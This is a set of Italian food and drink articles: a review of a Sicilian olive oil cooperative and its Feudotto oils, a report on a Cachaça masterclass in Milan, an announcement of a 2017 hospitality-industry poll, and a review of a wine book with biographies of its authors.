Il sistema qualità de La Goccia d’Oro comincia con agronomi e tecnici, sempre a disposizione dei soci, che monitorano l’annata individuando i periodi per irrigare e le eventuali patologie suggerendo i trattamenti da effettuare sia sul biologico che sul sostenibile o nel tradizionale. Particolare attenzione è stata evidenziata nella gestione del frantoio per ottimizzarne il funzionamento ed evitare i tempi morti. In sostanza si evitano i colli di bottiglia per cui le olive potrebbero rimanere in attesa di molitura per oltre un giorno, cosa che andrebbe a scapito della qualità finale dell’olio in quanto uno dei fattori importantissimi è la riduzione dei tempi tra la raccolta e la molitura. Inoltre per incentivare la qualità la cooperativa paga in funzione di parametri analitici di qualità e non solo per quantità.

Guseppe Oro e Accursio Alagna

Inevitabile risultato da un territorio che è particolarmente vocato alle olive è che l’olio prodotto, commercializzato col marchio Feudotto, dalla omonima contrada, è l’espressione delle cultivar presenti, Nocellara del Belice, Biancolilla e Cerasuola essenzialmente, riesce a soddisfare i consumatori più esigenti e la ristorazione di eccellenza che può contare su 7 tipologie: Dop Val di Mazara, Igp Sicilia, Biologico, Evo, Monovarietali per le 3 cultivar.

Costante è l’ammodernamento delle apparecchiature, quest’anno è stata realizzata una linea di confezionamento che lavora in assenza di ossigeno, altro nemico assieme alla luce, ed è in avanzato programma il sistema di cogenerazione dell’energia elettrica che dal prossimo anno renderà il frantoio autonomo. Importante per il consumatore evoluto la possibilità di conoscere nel dettaglio tutta la filiera della bottiglia che ha acquistato. Infatti nella sezione Lotto del sito Feudotto.it basta inserire il numero di lotto della confezione per conoscere l’intero processo produttivo: formato bottiglia, descrizione, data produzione, data scadenza, pezzi prodotti, silos utilizzati, varietà olive, zona coltivazione, molitura olive, acidità olio, mappa satellitare della zona di coltivazione.

Degli oli prodotti in questi giorni in un’annata eccezionale perchè avulsa da patogeni e insetti dannosi degustiamo il Feudotto Biologico, e il Feudotto Novolio Igp Sicilia, ottenuti da diverse percentuali delle suddette cultivar con la Nocellara che incide per oltre la metà.

La Nocellaria del Belice è diffusa nella valle del fiume omonimo e nei bacini limitrofi nonchè nel corleonese. È una delle cultivar che hanno contribuito al successo dell’olio siciliano fuori dall’isola. Ha drupa grossa, quasi sferica, usata anche da mensa e l’olio ha fruttato molto intenso e un profilo sensoriale amaro e piccante con assenza del dolce.

La Biancolilla è diffusa anch’essa nella Sicilia centro-occidentale con maggior densità nell’agrigentino. Ha drupa media, resa bassa e tenore di acido linoleico al di sopra della media. In genere ha un profilo sensoriale da olio delicato con amaro non spiccato e sentori di mandorla.

La Cerasuola si trova specialmente in provincia di Palermo, nel Trapanese e nella fascia tra Castelvetrano e Menfi. Drupa media, ellittica, leggermente asimmetrica, dà alte rese ed è molto ricca di acido oleico e di polifenoli; l’olio è meno dolce e più amaro con sentori e fruttato più intensi e persistenti.

Cominciamo dal Biologico. Colore giallo con tendenze verdoline. Olfatto con fruttato medio-intenso con sentori di pomodoro verde anche in foglia, mandorla, cicoria. Bocca equilibrata e fragrante dove il gusto dell’oliva verde è predominante con un amaro e un piccante in crescendo, specie quest’ultimo.

Il Novolio Igp ha colore giallo con velature verdi più intense. Un naso con fruttato intenso dove la fa da padrone un pomodoro più maturo che si accompagna alla sua foglia, poi origano, timo, mandorla. Bocca complessa ed intensa in cui si riavvertono le sensazioni olfattive, amaro e piccante anche qui in crescendo.

Concludendo, due oli eccelsi, fini, puliti con il Biologico leggermente più delicato ed elegante mentre il Novolio è più deciso ed avvolgente per cui useremmo il primo per il pesce, per cotture più semplici, mentre il secondo per le zuppe, per piatti più complessi.

Per informazioni: www.lagocciadoro.it www.feudotto.it

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La Cachaça Magnifica a Casa Mia

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La Cachaça Magnifica a Casa Mia

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Uno di questi è sicuramente legato alla Cachaça. L’utilizzo non ottimale di questo distillato, unito al numero esiguo (e spesso di non eccelso livello) di etichette distribuite in Italia, ha infatti creato, nel pensiero comune, intorno a questo prodotto, un’aura di scarsa qualità. Proprio per questa ragione i

Cachaça Magnifica

workshop organizzati da Compagnia dei Caraibi, a Roma (nella scuola di bartending FlairProject) e Milano (nel bistrot Casa Mia), per promuovere la Cachaça Magnifica hanno il merito di aprire lo sguardo, in modo più attento, a questo meraviglioso e variegato mondo. Questa particolare tipologia di distillato di canna da zucchero, di produzione esclusivamente brasiliana, conta infatti oltre 4.000 brand, per la maggior parte piccole produzioni artigianali, ed oltre 1.200.000.000 litri prodotti. Le caratteristiche che definiscono questo distillato, oltre alla provenienza geografica e alla materia prima utilizzata, sono la gradazione alcolica, obbligatoriamente compresa fra i 38° ed i 54°, e lo zucchero, che non può superare i 6 grammi per litro. La diffusione, nello sconfinato territorio brasiliano, della cachaça è testimoniata anche dalle molte aree di produzione; da Minas Gerais, che detiene il primato per il numero dei brand autoctoni (oltre 1.500), a São Paolo, che distilla il 46% dell’intera produzione nazionale, fino a Pernambuco, Ceará, Paraná e Rio de Janeiro.

La Cachaça Magnifica a Casa Mia

Non poteva esserci luogo migliore di Casa Mia, per il suo clima familiare, per accogliere João Luiz de Faria, proprietario della fazenda e vero protagonista della masterclass dedicata alla Cachaça Magnifica organizzata da Compagnia dei Caraibi. La fattoria, situate alle pendici delle montagne che circondano Rio de Janeiro, è stata fondata nel 1985 ma solo dodici anni dopo, nel 1997, ha avvito la produzione di questo

Un momento della masterclass

particolare brand, proprio per volontà dello stesso João Luiz, con l’obiettivo di rilanciare l’immagine della cachaça in tutto il mondo. Per ottenere questo risultato ogni passaggio del processo produttivo è stato studiato e perfezionato e viene tutt’oggi attentamente controllato. Il primo elemento, decisivo per la creazione di un prodotto di alta qualità, è ovviamente la materia prima; Cachaça Magnifica utilizza esclusivamente canna da zucchero cresciuta all’interno della stessa fattoria. Dopo la raccolta la canna viene tritata per estrarre la linfa zuccherina; un nettare in cui, proprio come nel caso dei rum agricoli, i lieviti avvieranno la fermentazione. Il passaggio successivo è la distillazione, in questo caso una tripla distillazione in pot still, tecnica che permette di mantenere una maggiore complessità di gusto ed aromi. Una volta ottenuta la cachaça non resta che invecchiarla. La Cachaça Magnifica Classica, in particolare, viene fatta riposare per minimo due anni in botti da 500 litri di un particolare tipo di legno brasiliano, l’Ipê, mentre la Cachaça Magnifica

La Cachaça Magnifica a Casa Mia

Riserva viene invecchiata con metodo Solera. Il risultato, almeno per la Cachaça Magnifica Classica, è un distillato gustoso e ben bilanciato, con un forte ricordo di canna da zucchero, e piacevoli sentori fruttati e speziati (banana, lemongrass). L’incontro organizzato da Compagnia dei Caraibi e Casa Mia, locale sempre più attivo nella diffusione, tanto nel pubblico quanto fra gli addetti ai lavori, della cultura del bere di qualità, è stata dunque un’occasione unica. Un’occasione raccolta dai partecipanti che, oltre a degustare la Cachaça Magnifica, hanno potuto dialogare con João Luiz de Faria, toccando con mano la maestria e l’esperienza di questo grande personaggio. Per superare limiti e preconcetti non c’è infatti arma migliore che la conoscenza e la cultura, ancor meglio se raccontata direttamente da chi, con il proprio impegno e lavoro, la tramanda.

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“Personaggio dell’anno” 242 candidati ai nastri di partenza

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“Personaggio dell’anno” 242 candidati ai nastri di partenza

Ancora poche ore e l’edizione 2017 del sondaggio “Personaggio dell’anno dell’enogastronomia e dell’accoglienza” (#premioiat) prenderà il via. Dalla mezzanotte tra sabato 16 e domenica 17 dicembre infatti si potrà votare. Tante le novità per questa che rappresenta un’edizione speciale, la decima.

I più affezionati avranno subito notato che è cambiata la denominazione: il termine “ristorazione” presente gli altri anni è stato sostituito da “accoglienza”, per sottolineare la volontà di rappresentare il più possibile tutta la squadra dell’Horeca. Non cambia invece la durata del sondaggio: 8 settimane, con stop alle votazioni che sarà dato dunque l’11 febbraio 2018. Main sponsor dell’iniziativa: Consorzio Grana Padano e Pentole Agnelli.

I candidati quest’anno sono ben 242 e qui ecco la novità principale. La schiera così nutrita di professionisti del settore è dovuta al fatto che sono aumentate le categorie. I Cuochi, i Pasticceri e i Pizzaioli non saranno più inseriti in un’unica categoria ma ne avranno 3 distinte. Confermate le altre categorie tradizionali: Maitre, Sommelier e Manager d’hotel; Barman; Opinion leader. Ognuna di queste 6 categorie contiene 36 candidati. Ma non è finita qui, perché c’è una nuova categoria che Italia a Tavola ha voluto creare solo ed esclusivamente per questa 10ª edizione: si chiama “Campioni” e raccoglie tutti i 26 “Personaggi dell’anno” eletti nelle precedenti edizioni del sondaggio.

Il sondaggio lo scorso anno si è concluso segnando un record senza precedenti, oltre 197mila votanti, ed ha eletto Personaggi dell’anno Ernst Knam tra i “Cuochi, Pizzaioli e Pasticceri”, Antonello Maietta per i “Maitre, Sommelier e Manager d’hotel”, Danny Del Monaco tra i “Barman” e Paolo Massobrio come “Opinion leader”. L’obiettivo come sempre è quello di creare un momento di confronto chiamando la rete a dire – secondo il suo parere – chi sia il personaggio che più ha conquistato gli apprezzamenti all’interno di un determinato settore.

Come votare Per ciascuna delle sette sezioni si possono esprimere da 1 a 3 preferenze. La votazione è valida se viene espressa almeno una preferenza in una sezione. Ogni utente può votare una sola volta. L’indicazione del numero dei votanti sulla pagina riassuntiva dei risultati riguarda quanti hanno partecipato al sondaggio indipendentemente dal numero delle preferenze espresse. Vale quindi il conteggio di 1 votante sia che abbia espresso una sola preferenza sia 21 (ovvero 3 per ciascuna sezione). Una commissione, per tutta la durata del sondaggio, si occuperà di verificare costantemente il regolare svolgimento per garantire la validità delle operazioni di voto, intervenendo se necessario per bloccare immediatamente eventuali azioni scorrette o flussi di voti “sospetti”.

Non ci resta che augurare a tutti i candidati un grosso “in bocca al lupo”!

Hashtag ufficiale: #premioiat

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jucks72 · 7 years

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Vini da scoprire I “leggeri” che si bevono facilmente

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Vini da scoprire I “leggeri” che si bevono facilmente

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Non lasciatevi ingannare dal titolo. Se è vero che sono vini da scoprire, nati dalla ricerca dei tre autori che hanno messo a disposizione il loro taccuino di appunti, il termine leggeri non deve trarre in inganno.

Come raccontano nella prefazione: “Un vino è leggero non soltanto quando ha struttura snella, poco alcol e molta freschezza, ma quando si manda giù con trascinante facilità, indipendentemente dal suo peso estrattivo”. Proprio il vino che tutti vorremmo sulla nostra tavola!

120 capitoli, divertenti da leggere, che raccontano altrettanti vini, suddivisi in bianchi, rosati, rossi, spumanti e due dolci e mi soffermo su questi due ultimi, che sono prodotti in quantità quasi insignificante, una malvasia deliziosa della Collina Torinese, aromatica dolce che proviene da due varietà tipiche di quella zona e le poche bottiglie di moscato rosa di Parenzo prodotta da un viticoltore di Muggia (Trieste). 120 storie di umanità interpretate con un vino, qualche annotazione sulla degustazione scritta con termini comprensibili e soprattutto ritrovabili nel bicchiere, nessun punteggio, le informazioni essenziali dell’azienda e le illustrazioni gioiose di Simona Oliva.

Gli autori, un trio molto conosciuto: Armando Castagno è nel mondo del vino da oltre vent’anni e almeno trenta chili. Relatore, degustatore, ideatore e direttore di corsi di approfondimento in tutta Italia per l’Associazione italiana sommelier, è stato per undici anni referente regionale della guida associativa. Ha ricevuto le insegne di Chevalier du Tastevin nello Château du Clos de Vougeot, in Borgogna, indossando sotto lo smoking la maglia casalinga della Roma; punta ora decisamente a ripetere l’esperienza in Champagne per sfoggiare la maglia da trasferta. Insegna Storia dell’arte dei territori del vino e Geografia del Terroir presso l’Università di Scienze Gastronomiche di Pollenzo.

Giampaolo Gravina vive a Roma. Dopo la laurea in Filosofia e il dottorato in Teoria delle Arti, ha iniziato a collaborare con l’Università “la Sapienza” di Roma. Intanto ha preso corpo il suo interesse per l’enogastronomia: nella seconda metà degli anni ’90 ha aperto e gestito il ristorante Uno e Bino, nel quartiere romano di San Lorenzo; ha poi condotto una piccola trasmissione dedicata al vino in onda su RadioRai Tre, dal titolo Puri Spiriti. Dal 2001 al 2016 è stato vicecuratore della Guida I Vini d’Italia dell’editore l’Espresso. Partecipa come relatore a numerose degustazioni e convegni di settore e collabora regolarmente con la Guida ai Ristoranti d’Italia del Gambero Rosso, nonché con la rivista Enogea, per cui firma una rubrica sul vino di Borgogna.

Fabio Rizzari, giornalista professionista, dopo gli studi di musicologia si è dedicato dalla fine degli anni Ottanta ad approfondire i temi della degustazione e della critica enologica professionale. Ha collaborato con Luigi Veronelli Editore e con Gambero Rosso Editore. Collaboratore e redattore della guida “Vini d’Italia” di Gambero Rosso – Slow Food, ha curato diversi libri-guida enogastronomici. È stato per anni curatore dell’“Almanacco del Berebene” del Gambero Rosso Editore, titolare in qualità di esperto di vino di diverse rubriche televisive del canale tematico Gambero Rosso Channel, relatore per l’Ais (Associazione italiana sommelier). Membro del Grand Jury Européen, dal 2003 al 2015 ha curato con Ernesto Gentili, la guida “I Vini d’Italia” dell’Espresso.

Titolo: Vini da scoprire – La riscossa dei vini leggeri Autori: Armando Castagno – Giampaolo Gravina – Fabio Rizzari (Illustrazioni di: Simona Oliva) Editore: Giunti Editore Pagine: 256 Prezzo: 20 euro

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